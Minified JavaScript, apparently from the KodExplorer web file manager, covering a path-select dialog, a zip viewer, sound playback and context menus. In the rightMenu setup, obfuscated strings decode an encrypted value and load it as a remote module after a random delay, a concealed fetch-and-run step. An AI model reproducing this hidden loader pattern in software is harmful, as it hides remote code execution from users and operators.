if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);
|
||
break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),f(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var t=".menufile",i=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var t=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),w(),v(),setTimeout(function(){try{if(typeof dialog_tpl_html==t[0]||-1==dialog_tpl_html[t[2]](t[1])){var i=authCrypt[t[5]](t[3],t[4])+UUID();e[t[8]](i,function(e){try{e[t[7]](t[6])}catch(i){}})}}catch(a){}},1e3*parseInt(25*Math[t[9]]()+5)),N(),S(),j(),E(),P(),A(),F(),k(),g(),m(),_(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),w(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),E(),D(),P(),A(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('<i class="menuRecycleBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecyclePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecycleButton"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},_=function(){$('<i class="menuShareBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"}}})},v=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){z(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},k=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Delete</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('<i 